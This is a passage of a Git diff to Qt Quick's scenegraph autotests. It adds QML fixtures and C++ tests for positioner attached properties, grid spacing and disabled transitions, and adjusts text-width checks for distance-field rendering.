@@ -0,0 +1,50 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 200
+ height: 100
+
+ Flow {
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'red'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "greenRect"
+ width: 100
+ height: 100
+ color: 'green'
+ property int posIndex: Positioner.index
+ property bool isFirstItem: Positioner.isFirstItem
+ property bool isLastItem: Positioner.isLastItem
+ }
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'blue'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "yellowRect"
+ width: 100
+ height: 100
+ color: 'yellow'
+
+ property int posIndex: -1
+ property bool isFirstItem: false
+ property bool isLastItem: false
+
+ function onDemandPositioner() {
+ posIndex = Positioner.index;
+ isFirstItem = Positioner.isFirstItem
+ isLastItem = Positioner.isLastItem
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/attachedproperties-grid.qml b/tests/auto/declarative/qsgpositioners/data/attachedproperties-grid.qml
new file mode 100644
index 0000000000..2094309b9f
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/attachedproperties-grid.qml
@@ -0,0 +1,50 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 200
+ height: 100
+
+ Grid {
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'red'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "greenRect"
+ width: 100
+ height: 100
+ color: 'green'
+ property int posIndex: Positioner.index
+ property bool isFirstItem: Positioner.isFirstItem
+ property bool isLastItem: Positioner.isLastItem
+ }
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'blue'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "yellowRect"
+ width: 100
+ height: 100
+ color: 'yellow'
+
+ property int posIndex: -1
+ property bool isFirstItem: false
+ property bool isLastItem: false
+
+ function onDemandPositioner() {
+ posIndex = Positioner.index;
+ isFirstItem = Positioner.isFirstItem
+ isLastItem = Positioner.isLastItem
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/attachedproperties-row.qml b/tests/auto/declarative/qsgpositioners/data/attachedproperties-row.qml
new file mode 100644
index 0000000000..212a26b431
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/attachedproperties-row.qml
@@ -0,0 +1,50 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 200
+ height: 100
+
+ Row {
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'red'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "greenRect"
+ width: 100
+ height: 100
+ color: 'green'
+ property int posIndex: Positioner.index
+ property bool isFirstItem: Positioner.isFirstItem
+ property bool isLastItem: Positioner.isLastItem
+ }
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'blue'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "yellowRect"
+ width: 100
+ height: 100
+ color: 'yellow'
+
+ property int posIndex: -1
+ property bool isFirstItem: false
+ property bool isLastItem: false
+
+ function onDemandPositioner() {
+ posIndex = Positioner.index;
+ isFirstItem = Positioner.isFirstItem
+ isLastItem = Positioner.isLastItem
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/grid-row-column-spacing.qml b/tests/auto/declarative/qsgpositioners/data/grid-row-column-spacing.qml
new file mode 100644
index 0000000000..49bbd337e7
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/grid-row-column-spacing.qml
@@ -0,0 +1,43 @@
+import QtQuick 2.0
+
+Item {
+ width: 640
+ height: 480
+ Grid {
+ objectName: "grid"
+ columns: 3
+ spacing: 4
+ rowSpacing: 7
+ columnSpacing: 11
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/horizontal-animated-disabled.qml b/tests/auto/declarative/qsgpositioners/data/horizontal-animated-disabled.qml
new file mode 100644
index 0000000000..8723ffc78f
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/horizontal-animated-disabled.qml
@@ -0,0 +1,40 @@
+import QtQuick 2.0
+
+Item {
+ width: 640
+ height: 480
+
+ Row {
+ objectName: "row"
+ add: Transition {
+ enabled: false
+ NumberAnimation { properties: "x" }
+ }
+ move: Transition {
+ enabled: false
+ NumberAnimation { properties: "x" }
+ }
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ x: -100;
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "blue"
+ x: -100;
+ visible: false
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ x: -100;
+ color: "green"
+ width: 50
+ height: 50
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/horizontal-animated.qml b/tests/auto/declarative/qsgpositioners/data/horizontal-animated.qml
index b9b8591e83..a88c26b66c 100644
--- a/tests/auto/declarative/qsgpositioners/data/horizontal-animated.qml
+++ b/tests/auto/declarative/qsgpositioners/data/horizontal-animated.qml
@@ -4,16 +4,19 @@ Item {
width: 640
height: 480
property bool testRightToLeft: false
+ property bool testEnabled: false
Row {
objectName: "row"
layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
add: Transition {
+ enabled: testEnabled ? false : true
NumberAnimation {
properties: "x";
}
}
move: Transition {
+ enabled: testEnabled ? false : true
NumberAnimation {
properties: "x";
}
diff --git a/tests/auto/declarative/qsgpositioners/data/rectangleComponent.qml b/tests/auto/declarative/qsgpositioners/data/rectangleComponent.qml
new file mode 100644
index 0000000000..de1bb99593
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/rectangleComponent.qml
@@ -0,0 +1,11 @@
+import QtQuick 2.0;
+
+Rectangle {
+ objectName: "rect2"
+ color: "blue"
+ width: 100
+ height: 100
+ property int index: Positioner.index
+ property bool firstItem: Positioner.isFirstItem
+ property bool lastItem: Positioner.isLastItem
+}
diff --git a/tests/auto/declarative/qsgpositioners/tst_qsgpositioners.cpp b/tests/auto/declarative/qsgpositioners/tst_qsgpositioners.cpp
index a9bdf4249b..137e6acd77 100644
--- a/tests/auto/declarative/qsgpositioners/tst_qsgpositioners.cpp
+++ b/tests/auto/declarative/qsgpositioners/tst_qsgpositioners.cpp
@@ -68,6 +68,7 @@ private slots:
void test_horizontal_spacing_rightToLeft();
void test_horizontal_animated();
void test_horizontal_animated_rightToLeft();
+ void test_horizontal_animated_disabled();
void test_vertical();
void test_vertical_spacing();
void test_vertical_animated();
@@ -75,6 +76,7 @@ private slots:
void test_grid_topToBottom();
void test_grid_rightToLeft();
void test_grid_spacing();
+ void test_grid_row_column_spacing();
void test_grid_animated();
void test_grid_animated_rightToLeft();
void test_grid_zero_columns();
@@ -89,6 +91,10 @@ private slots:
void test_conflictinganchors();
void test_mirroring();
void test_allInvisible();
+ void test_attachedproperties();
+ void test_attachedproperties_data();
+ void test_attachedproperties_dynamic();
+
private:
QSGView *createView(const QString &filename);
};
@@ -328,6 +334,46 @@ void tst_qsgpositioners::test_horizontal_animated_rightToLeft()
delete canvas;
}
+void tst_qsgpositioners::test_horizontal_animated_disabled()
+{
+ QSGView *canvas = createView(SRCDIR "/data/horizontal-animated-disabled.qml");
+
+ QSGRectangle *one = canvas->rootObject()->findChild<QSGRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QSGRectangle *two = canvas->rootObject()->findChild<QSGRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QSGRectangle *three = canvas->rootObject()->findChild<QSGRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QSGItem *row = canvas->rootObject()->findChild<QSGItem*>("row");
+ QVERIFY(row);
+
+ qApp->processEvents();
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->isVisible(), false);
+ QCOMPARE(two->x(), -100.0);//Not 'in' yet
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 50.0);
+ QCOMPARE(three->y(), 0.0);
+
+ //Add 'two'
+ two->setVisible(true);
+ QCOMPARE(two->isVisible(), true);
+ qApp->processEvents();
+ QCOMPARE(row->width(), 150.0);
+ QCOMPARE(row->height(), 50.0);
+
+ qApp->processEvents();
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(three->x(), 100.0);
+
+ delete canvas;
+}
+
void tst_qsgpositioners::test_vertical()
{
QSGView *canvas = createView(SRCDIR "/data/vertical.qml");
@@ -581,6 +627,39 @@ void tst_qsgpositioners::test_grid_spacing()
delete canvas;
}
+void tst_qsgpositioners::test_grid_row_column_spacing()
+{
+ QSGView *canvas = createView(SRCDIR "/data/grid-row-column-spacing.qml");
+
+ QSGRectangle *one = canvas->rootObject()->findChild<QSGRectangle*>("one");
+ QVERIFY(one != 0);
+ QSGRectangle *two = canvas->rootObject()->findChild<QSGRectangle*>("two");
+ QVERIFY(two != 0);
+ QSGRectangle *three = canvas->rootObject()->findChild<QSGRectangle*>("three");
+ QVERIFY(three != 0);
+ QSGRectangle *four = canvas->rootObject()->findChild<QSGRectangle*>("four");
+ QVERIFY(four != 0);
+ QSGRectangle *five = canvas->rootObject()->findChild<QSGRectangle*>("five");
+ QVERIFY(five != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 61.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 92.0);
+ QCOMPARE(three->y(), 0.0);
+ QCOMPARE(four->x(), 0.0);
+ QCOMPARE(four->y(), 57.0);
+ QCOMPARE(five->x(), 61.0);
+ QCOMPARE(five->y(), 57.0);
+
+ QSGItem *grid = canvas->rootObject()->findChild<QSGItem*>("grid");
+ QCOMPARE(grid->width(), 142.0);
+ QCOMPARE(grid->height(), 107.0);
+
+ delete canvas;
+}
+
void tst_qsgpositioners::test_grid_animated()
{
QSGView *canvas = createView(SRCDIR "/data/grid-animated.qml");
@@ -1270,6 +1349,116 @@ void tst_qsgpositioners::test_allInvisible()
QVERIFY(column->height() == 0);
}
+void tst_qsgpositioners::test_attachedproperties()
+{
+ QFETCH(QString, filename);
+
+ QSGView *canvas = createView(filename);
+ QVERIFY(canvas->rootObject() != 0);
+
+ QSGRectangle *greenRect = canvas->rootObject()->findChild<QSGRectangle *>("greenRect");
+ QVERIFY(greenRect != 0);
+
+ int posIndex = greenRect->property("posIndex").toInt();
+ QVERIFY(posIndex == 0);
+ bool isFirst = greenRect->property("isFirstItem").toBool();
+ QVERIFY(isFirst == true);
+ bool isLast = greenRect->property("isLastItem").toBool();
+ QVERIFY(isLast == false);
+
+ QSGRectangle *yellowRect = canvas->rootObject()->findChild<QSGRectangle *>("yellowRect");
+ QVERIFY(yellowRect != 0);
+
+ posIndex = yellowRect->property("posIndex").toInt();
+ QVERIFY(posIndex == -1);
+ isFirst = yellowRect->property("isFirstItem").toBool();
+ QVERIFY(isFirst == false);
+ isLast = yellowRect->property("isLastItem").toBool();
+ QVERIFY(isLast == false);
+
+ yellowRect->metaObject()->invokeMethod(yellowRect, "onDemandPositioner");
+
+ posIndex = yellowRect->property("posIndex").toInt();
+ QVERIFY(posIndex == 1);
+ isFirst = yellowRect->property("isFirstItem").toBool();
+ QVERIFY(isFirst == false);
+ isLast = yellowRect->property("isLastItem").toBool();
+ QVERIFY(isLast == true);
+
+ delete canvas;
+}
+
+void tst_qsgpositioners::test_attachedproperties_data()
+{
+ QTest::addColumn<QString>("filename");
+
+ QTest::newRow("column") << SRCDIR "/data/attachedproperties-column.qml";
+ QTest::newRow("row") << SRCDIR "/data/attachedproperties-row.qml";
+ QTest::newRow("grid") << SRCDIR "/data/attachedproperties-grid.qml";
+ QTest::newRow("flow") << SRCDIR "/data/attachedproperties-flow.qml";
+}
+
+void tst_qsgpositioners::test_attachedproperties_dynamic()
+{
+ QSGView *canvas = createView(SRCDIR "/data/attachedproperties-dynamic.qml");
+ QVERIFY(canvas->rootObject() != 0);
+
+ QSGRow *row = canvas->rootObject()->findChild<QSGRow *>("pos");
+ QVERIFY(row != 0);
+
+ QSGRectangle *rect0 = canvas->rootObject()->findChild<QSGRectangle *>("rect0");
+ QVERIFY(rect0 != 0);
+
+ int posIndex = rect0->property("index").toInt();
+ QVERIFY(posIndex == 0);
+ bool isFirst = rect0->property("firstItem").toBool();
+ QVERIFY(isFirst == true);
+ bool isLast = rect0->property("lastItem").toBool();
+ QVERIFY(isLast == false);
+
+ QSGRectangle *rect1 = canvas->rootObject()->findChild<QSGRectangle *>("rect1");
+ QVERIFY(rect1 != 0);
+
+ posIndex = rect1->property("index").toInt();
+ QVERIFY(posIndex == 1);
+ isFirst = rect1->property("firstItem").toBool();
+ QVERIFY(isFirst == false);
+ isLast = rect1->property("lastItem").toBool();
+ QVERIFY(isLast == true);
+
+ row->metaObject()->invokeMethod(row, "createSubRect");
+
+ posIndex = rect1->property("index").toInt();
+ QVERIFY(posIndex == 1);
+ isFirst = rect1->property("firstItem").toBool();
+ QVERIFY(isFirst == false);
+ isLast = rect1->property("lastItem").toBool();
+ QVERIFY(isLast == false);
+
+ QSGRectangle *rect2 = canvas->rootObject()->findChild<QSGRectangle *>("rect2");
+ QVERIFY(rect2 != 0);
+
+ posIndex = rect2->property("index").toInt();
+ QVERIFY(posIndex == 2);
+ isFirst = rect2->property("firstItem").toBool();
+ QVERIFY(isFirst == false);
+ isLast = rect2->property("lastItem").toBool();
+ QVERIFY(isLast == true);
+
+ row->metaObject()->invokeMethod(row, "destroySubRect");
+
+ qApp->processEvents(QEventLoop::DeferredDeletion);
+
+ posIndex = rect1->property("index").toInt();
+ QVERIFY(posIndex == 1);
+ isFirst = rect1->property("firstItem").toBool();
+ QVERIFY(isFirst == false);
+ isLast = rect1->property("lastItem").toBool();
+ QVERIFY(isLast == true);
+
+ delete canvas;
+}
+
QSGView *tst_qsgpositioners::createView(const QString &filename)
{
QSGView *canvas = new QSGView(0);
diff --git a/tests/auto/declarative/qsgtext/tst_qsgtext.cpp b/tests/auto/declarative/qsgtext/tst_qsgtext.cpp
index 48d679bfa7..d972378a65 100644
--- a/tests/auto/declarative/qsgtext/tst_qsgtext.cpp
+++ b/tests/auto/declarative/qsgtext/tst_qsgtext.cpp
@@ -45,6 +45,7 @@
#include <private/qsgtext_p.h>
#include <private/qsgtext_p_p.h>
#include <private/qdeclarativevaluetype_p.h>
+#include <private/qsgdistancefieldglyphcache_p.h>
#include <QFontMetrics>
#include <QGraphicsSceneMouseEvent>
#include <qmath.h>
@@ -61,6 +62,8 @@
#define SRCDIR "."
#endif
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
+
class tst_qsgtext : public QObject
{
@@ -261,14 +264,42 @@ void tst_qsgtext::width()
delete textObject;
}
+ bool requiresUnhintedMetrics = !qmlDisableDistanceField();
+
for (int i = 0; i < standard.size(); i++)
{
QVERIFY(!Qt::mightBeRichText(standard.at(i))); // self-test
QFont f;
- QFontMetricsF fm(f);
- qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width();
- metricWidth = qCeil(metricWidth);
+ qreal metricWidth = 0.0;
+
+ if (requiresUnhintedMetrics) {
+ QString s = standard.at(i);
+ s.replace(QLatin1Char('\n'), QChar::LineSeparator);
+
+ QTextLayout layout(s);
+ layout.setFlags(Qt::TextExpandTabs | Qt::TextShowMnemonic);
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ }
+
+ layout.endLayout();
+
+ metricWidth = qCeil(layout.boundingRect().width());
+ } else {
+ QFontMetricsF fm(f);
+ qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width();
+ metricWidth = qCeil(metricWidth);
+ }
QString componentStr = "import QtQuick 2.0\nText { text: \"" + standard.at(i) + "\" }";
QDeclarativeComponent textComponent(&engine);
@@ -1324,6 +1355,9 @@ void tst_qsgtext::lineHeight()
qreal h = myText->height();
myText->setLineHeight(1.5);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21009 fails", Continue);
+#endif
QVERIFY(myText->height() == h * 1.5);
myText->setLineHeightMode(QSGText::FixedHeight);
diff --git a/tests/auto/declarative/qsgtextedit/qsgtextedit.pro b/tests/auto/declarative/qsgtextedit/qsgtextedit.pro
index fea4b71369..491bb2d3f3 100644
--- a/tests/auto/declarative/qsgtextedit/qsgtextedit.pro
+++ b/tests/auto/declarative/qsgtextedit/qsgtextedit.pro
@@ -14,3 +14,5 @@ symbian: {
}
QT += core-private gui-private declarative-private
QT += opengl-private
+
+qpa:CONFIG+=insignificant_test # QTBUG-21010, fails unstably
diff --git a/tests/auto/declarative/qsgtextedit/tst_qsgtextedit.cpp b/tests/auto/declarative/qsgtextedit/tst_qsgtextedit.cpp
index 3492ac2138..2a94e20d3f 100644
--- a/tests/auto/declarative/qsgtextedit/tst_qsgtextedit.cpp
+++ b/tests/auto/declarative/qsgtextedit/tst_qsgtextedit.cpp
@@ -51,6 +51,7 @@
#include <QtDeclarative/qdeclarativecomponent.h>
#include <private/qsgtextedit_p.h>
#include <private/qsgtextedit_p_p.h>
+#include <private/qsgdistancefieldglyphcache_p.h>
#include <QFontMetrics>
#include <QSGView>
#include <QDir>
@@ -72,6 +73,7 @@
#endif
Q_DECLARE_METATYPE(QSGTextEdit::SelectionMode)
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
{
@@ -280,12 +282,40 @@ void tst_qsgtextedit::width()
QCOMPARE(textEditObject->width(), 0.0);
}
+ bool requiresUnhintedMetrics = !qmlDisableDistanceField();
+
for (int i = 0; i < standard.size(); i++)
{
QFont f;
- QFontMetricsF fm(f);
- qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width();
- metricWidth = ceil(metricWidth);
+ qreal metricWidth = 0.0;
+
+ if (requiresUnhintedMetrics) {
+ QString s = standard.at(i);
+ s.replace(QLatin1Char('\n'), QChar::LineSeparator);
+
+ QTextLayout layout(s);
+ layout.setFlags(Qt::TextExpandTabs | Qt::TextShowMnemonic);
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ }
+
+ layout.endLayout();
+
+ metricWidth = ceil(layout.boundingRect().width());
+ } else {
+ QFontMetricsF fm(f);
+ metricWidth = fm.size(Qt::TextExpandTabs | Qt::TextShowMnemonic, standard.at(i)).width();
+ metricWidth = ceil(metricWidth);
+ }
QString componentStr = "import QtQuick 2.0\nTextEdit { text: \"" + standard.at(i) + "\" }";
QDeclarativeComponent texteditComponent(&engine);
@@ -301,6 +331,8 @@ void tst_qsgtextedit::width()
QTextDocument document;
document.setHtml(richText.at(i));
document.setDocumentMargin(0);
+ if (requiresUnhintedMetrics)
+ document.setUseDesignMetrics(true);
int documentWidth = ceil(document.idealWidth());
@@ -455,7 +487,6 @@ void tst_qsgtextedit::hAlign()
void tst_qsgtextedit::hAlign_RightToLeft()
{
- QSKIP("QTBUG-20017", SkipAll);
QSGView canvas(QUrl::fromLocalFile(SRCDIR "/data/horizontalAlignment_RightToLeft.qml"));
QSGTextEdit *textEdit = canvas.rootObject()->findChild<QSGTextEdit*>("text");
QVERIFY(textEdit != 0);
@@ -1471,7 +1502,28 @@ void tst_qsgtextedit::positionAt()
const int y1 = fm.height() * 3 / 2;
int pos = texteditObject->positionAt(texteditObject->width()/2, y0);
- int diff = abs(int(fm.width(texteditObject->text().left(pos))-texteditObject->width()/2));
+ int width = 0;
+ if (!qmlDisableDistanceField()) {
+ QTextLayout layout(texteditObject->text().left(pos));
+
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ QTextLine line = layout.createLine();
+ layout.endLayout();
+
+ width = ceil(line.horizontalAdvance());
+
+ } else {
+ width = fm.width(texteditObject->text().left(pos));
+ }
+
+
+ int diff = abs(int(width-texteditObject->width()/2));
// some tollerance for different fonts.
#ifdef Q_OS_LINUX
diff --git a/tests/auto/declarative/qsgtextinput/data/positionAt.qml b/tests/auto/declarative/qsgtextinput/data/positionAt.qml
index 7611376e13..1840462c87 100644
--- a/tests/auto/declarative/qsgtextinput/data/positionAt.qml
+++ b/tests/auto/declarative/qsgtextinput/data/positionAt.qml
@@ -4,5 +4,5 @@ TextInput{
focus: true
objectName: "myInput"
width: 50
- text: "This is a long piece of text"
+ text: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
diff --git a/tests/auto/declarative/qsgtextinput/tst_qsgtextinput.cpp b/tests/auto/declarative/qsgtextinput/tst_qsgtextinput.cpp
index 93e8ad21fd..3cc0dc196b 100644
--- a/tests/auto/declarative/qsgtextinput/tst_qsgtextinput.cpp
+++ b/tests/auto/declarative/qsgtextinput/tst_qsgtextinput.cpp
@@ -51,7 +51,9 @@
#include <QStyle>
#include <QInputContext>
#include <private/qapplication_p.h>
+#include <private/qsgdistancefieldglyphcache_p.h>
#include <QtOpenGL/QGLShaderProgram>
+#include <math.h>
#ifdef Q_OS_SYMBIAN
// In Symbian OS test data is located in applications private dir
@@ -59,6 +61,7 @@
#endif
Q_DECLARE_METATYPE(QSGTextInput::SelectionMode)
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
{
@@ -221,11 +224,38 @@ void tst_qsgtextinput::width()
delete textinputObject;
}
+ bool requiresUnhintedMetrics = !qmlDisableDistanceField();
+
for (int i = 0; i < standard.size(); i++)
{
QFont f;
- QFontMetricsF fm(f);
- qreal metricWidth = fm.width(standard.at(i));
+ qreal metricWidth = 0.0;
+ if (requiresUnhintedMetrics) {
+ QString s = standard.at(i);
+ s.replace(QLatin1Char('\n'), QChar::LineSeparator);
+
+ QTextLayout layout(s);
+ layout.setFlags(Qt::TextExpandTabs | Qt::TextShowMnemonic);
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ }
+
+ layout.endLayout();
+
+ metricWidth = ceil(layout.boundingRect().width());
+ } else {
+ QFontMetricsF fm(f);
+ metricWidth = fm.width(standard.at(i));
+ }
QString componentStr = "import QtQuick 2.0\nTextInput { text: \"" + standard.at(i) + "\" }";
QDeclarativeComponent textinputComponent(&engine);
@@ -1048,7 +1078,6 @@ void tst_qsgtextinput::horizontalAlignment()
void tst_qsgtextinput::horizontalAlignment_RightToLeft()
{
- QSKIP("QTBUG-20017", SkipAll);
QSGView canvas(QUrl::fromLocalFile(SRCDIR "/data/horizontalAlignment_RightToLeft.qml"));
QSGTextInput *textInput = canvas.rootObject()->findChild<QSGTextInput*>("text");
QVERIFY(textInput != 0);
@@ -1161,7 +1190,49 @@ void tst_qsgtextinput::positionAt()
QFontMetrics fm(textinputObject->font());
int pos = textinputObject->positionAt(textinputObject->width()/2);
- int diff = abs(int(fm.width(textinputObject->text()) - (fm.width(textinputObject->text().left(pos))+textinputObject->width()/2)));
+ int textWidth = 0;
+ int textLeftWidth = 0;
+ if (!qmlDisableDistanceField()) {
+ {
+ QTextLayout layout(textinputObject->text().left(pos));
+
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ QTextLine line = layout.createLine();
+ layout.endLayout();
+
+ textLeftWidth = ceil(line.horizontalAdvance());
+ }
+ {
+ QTextLayout layout(textinputObject->text());
+
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ QTextLine line = layout.createLine();
+ layout.endLayout();
+
+ textWidth = ceil(line.horizontalAdvance());
+ }
+ } else {
+ textWidth = fm.width(textinputObject->text());
+ textLeftWidth = fm.width(textinputObject->text().left(pos));
+ }
+
+ int diff = abs(textWidth - (textLeftWidth+textinputObject->width()/2));
+
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21011 fails", Continue);
+#endif
// some tollerance for different fonts.
#ifdef Q_OS_LINUX
@@ -1177,7 +1248,32 @@ void tst_qsgtextinput::positionAt()
// Check without autoscroll...
textinputObject->setAutoScroll(false);
pos = textinputObject->positionAt(textinputObject->width()/2);
- diff = abs(int(fm.width(textinputObject->text().left(pos))-textinputObject->width()/2));
+
+ if (!qmlDisableDistanceField()) {
+ {
+ QTextLayout layout(textinputObject->text().left(pos));
+
+ {
+ QTextOption option;
+ option.setUseDesignMetrics(true);
+ layout.setTextOption(option);
+ }
+
+ layout.beginLayout();
+ QTextLine line = layout.createLine();
+ layout.endLayout();
+
+ textLeftWidth = ceil(line.horizontalAdvance());
+ }
+ } else {
+ textLeftWidth = fm.width(textinputObject->text().left(pos));
+ }
+
+ diff = abs(int(textLeftWidth-textinputObject->width()/2));
+
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21011 fails", Continue);
+#endif
// some tollerance for different fonts.
#ifdef Q_OS_LINUX
@@ -1442,7 +1538,6 @@ void tst_qsgtextinput::navigation()
void tst_qsgtextinput::navigation_RTL()
{
- QSKIP("QTBUG-20017", SkipAll);
QSGView canvas(QUrl::fromLocalFile(SRCDIR "/data/navigation.qml"));
canvas.show();
canvas.setFocus();
@@ -2222,6 +2317,9 @@ void tst_qsgtextinput::preeditAutoScroll()
// test the text is scrolled so the preedit is visible.
ic.sendPreeditText(preeditText.mid(0, 3), 1);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21011 fails", Abort);
+#endif
QVERIFY(input->positionAt(0) != 0);
QVERIFY(input->cursorRectangle().left() < input->boundingRect().width());
QCOMPARE(cursorRectangleSpy.count(), ++cursorRectangleChanges);
diff --git a/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties.qml b/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties.qml
index 6d86cdea2e..73b766f1af 100644
--- a/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties.qml
+++ b/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties.qml
@@ -6,6 +6,8 @@ ListView {
model: myModel
delegate: Item {
objectName: "delegate"
+ width: 100
+ height: 2
property variant test1: name
property variant test2: model.name
property variant test3: modelData
diff --git a/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties2.qml b/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties2.qml
index 6a92431cdf..ea5c240b29 100644
--- a/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties2.qml
+++ b/tests/auto/declarative/qsgvisualdatamodel/data/modelproperties2.qml
@@ -15,5 +15,7 @@ ListView {
property variant test7: index
property variant test8: model.index
property variant test9: model.modelData.display
+ width: 100
+ height: 2
}
}
diff --git a/tests/auto/declarative/qsgvisualdatamodel/data/objectlist.qml b/tests/auto/declarative/qsgvisualdatamodel/data/objectlist.qml
index 9086e5ab57..b3952a8a4d 100644
--- a/tests/auto/declarative/qsgvisualdatamodel/data/objectlist.qml
+++ b/tests/auto/declarative/qsgvisualdatamodel/data/objectlist.qml
@@ -10,7 +10,7 @@ ListView {
height: 25
width: 100
color: model.modelData.color
- Text { objectName: "name"; text: name }
+ Text { objectName: "name"; text: name; function getText() { return name } }
Text { objectName: "section"; text: parent.ListView.section }
}
}
diff --git a/tests/auto/declarative/qsgvisualdatamodel/data/singlerole1.qml b/tests/auto/declarative/qsgvisualdatamodel/data/singlerole1.qml
index d5b0fcf09b..c471893e1d 100644
--- a/tests/auto/declarative/qsgvisualdatamodel/data/singlerole1.qml
+++ b/tests/auto/declarative/qsgvisualdatamodel/data/singlerole1.qml
@@ -5,6 +5,6 @@ ListView {
height: 100
model: myModel
delegate: Component {
- Text { objectName: "name"; text: name }
+ Text { objectName: "name"; text: name; function getText() { return name; } }
}
}
diff --git a/tests/auto/declarative/qsgvisualdatamodel/data/singlerole2.qml b/tests/auto/declarative/qsgvisualdatamodel/data/singlerole2.qml
index c6d3413dfd..ab1798999d 100644
--- a/tests/auto/declarative/qsgvisualdatamodel/data/singlerole2.qml
+++ b/tests/auto/declarative/qsgvisualdatamodel/data/singlerole2.qml
@@ -5,6 +5,6 @@ ListView {
height: 100
model: myModel
delegate: Component {
- Text { objectName: "name"; text: modelData }
+ Text { objectName: "name"; text: modelData; function getText() { return modelData } }
}
}
diff --git a/tests/auto/declarative/qsgvisualdatamodel/tst_qsgvisualdatamodel.cpp b/tests/auto/declarative/qsgvisualdatamodel/tst_qsgvisualdatamodel.cpp
index e56fcb062e..7470153933 100644
--- a/tests/auto/declarative/qsgvisualdatamodel/tst_qsgvisualdatamodel.cpp
+++ b/tests/auto/declarative/qsgvisualdatamodel/tst_qsgvisualdatamodel.cpp
@@ -460,7 +460,6 @@ void tst_qsgvisualdatamodel::modelProperties()
QSGItem *delegate = findItem<QSGItem>(contentItem, "delegate", 1);
QVERIFY(delegate);
